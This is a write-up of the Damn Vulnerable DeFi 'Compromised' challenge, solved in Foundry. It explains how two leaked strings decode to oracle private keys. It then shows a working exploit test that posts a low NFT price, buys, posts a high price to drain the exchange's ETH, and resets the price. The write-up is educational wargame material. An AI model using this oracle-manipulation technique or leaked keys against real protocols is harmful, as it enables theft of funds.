banner
zach

zach

github
twitter
medium

damn-vulnerable-defi | Compromised

In order to learn Solidity and Foundry systematically, I have rewritten the solution to damnvulnerable-defi based on the Foundry testing framework. Welcome to discuss and collaborate! 🎉

Contracts#

  • Exchange: Provides methods for buying (minting) and selling (burning) DamnValuableNFT, with prices provided by an oracle.
  • TrustfulOracle: A trusted price oracle contract that maintains the prices of NFTs set by several trusted accounts and provides a method to query the median price of NFTs.
  • TrustfulOracleInitializer: Used to deploy the TrustfulOracle contract and initialize the NFT prices.

Testing#

  • Deploy the TrustfulOracleInitializer contract, which also deploys the TrustfulOracle contract and sets the initial NFT price to INITIAL_NFT_PRICE.
  • Deploy the Exchange contract, which also deploys the DamnValuableNFT contract and deposits EXCHANGE_INITIAL_ETH_BALANCE.
  • Execute the attack script.
  • Expect the balance in the Exchange contract to be 0, the balance of the player to be EXCHANGE_INITIAL_ETH_BALANCE, the player to not own any NFTs, and the median price of NFTs in the oracle to be INITIAL_NFT_PRICE.

Solution#

By reading the Exchange contract, it can be observed that the ETH to be paid and received in the buyOne and sellOne functions are provided by the oracle, obtained through the oracle.getMedianPrice() method.

The goal of the attack is to obtain all the ETH in the Exchange contract. This can be achieved by buying low and selling high NFTs, earning the amount of ETH specified in EXCHANGE_INITIAL_ETH_BALANCE. Therefore, the ultimate goal is to manipulate the oracle. By analyzing the method used by the oracle to obtain the median price of NFTs, it can be determined that manipulating more than half of the oracles is sufficient to modify the price.

function _computeMedianPrice(string memory symbol) private view returns (uint256) {
        uint256[] memory prices = getAllPricesForSymbol(symbol);
        LibSort.insertionSort(prices);
        if (prices.length % 2 == 0) {
            uint256 leftPrice = prices[(prices.length / 2) - 1];
            uint256 rightPrice = prices[prices.length / 2];
            return (leftPrice + rightPrice) / 2;
        } else {
            return prices[prices.length / 2];
        }
    }

The provided HTTP message information suggests that the two strings correspond to the private keys of two oracles. By converting the hexadecimal numbers to ASCII code and then decoding them using base64, the two private keys can be obtained.

The complete flowchart is shown below:

image

First, manipulate the oracle to lower the price of the NFT so that the player can buy it. Then, manipulate the oracle to increase the NFT price so that the player can sell it, completing the attack. The code is as follows:

function testExploit() public{
        /*Code solution here*/
        oracle1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9);
        oracle2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48);

        postPrice(0.0001 ether);

        vm.startPrank(player);
        uint256 id = exchange.buyOne{value: 0.0001 ether}();
        vm.stopPrank();

        uint256 exchangeBalance = address(exchange).balance;
        postPrice(exchangeBalance);

        vm.startPrank(player);
        nftToken.approve(address(exchange), id);
        exchange.sellOne(id);
        vm.stopPrank();

        postPrice(INITIAL_NFT_PRICE);

        validation();
    }

function postPrice(uint256 price) public{
        vm.startPrank(oracle1);
        oracle.postPrice('DVNFT', price);
        vm.stopPrank();
        vm.startPrank(oracle2);
        oracle.postPrice('DVNFT', price);
        vm.stopPrank();
    }
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.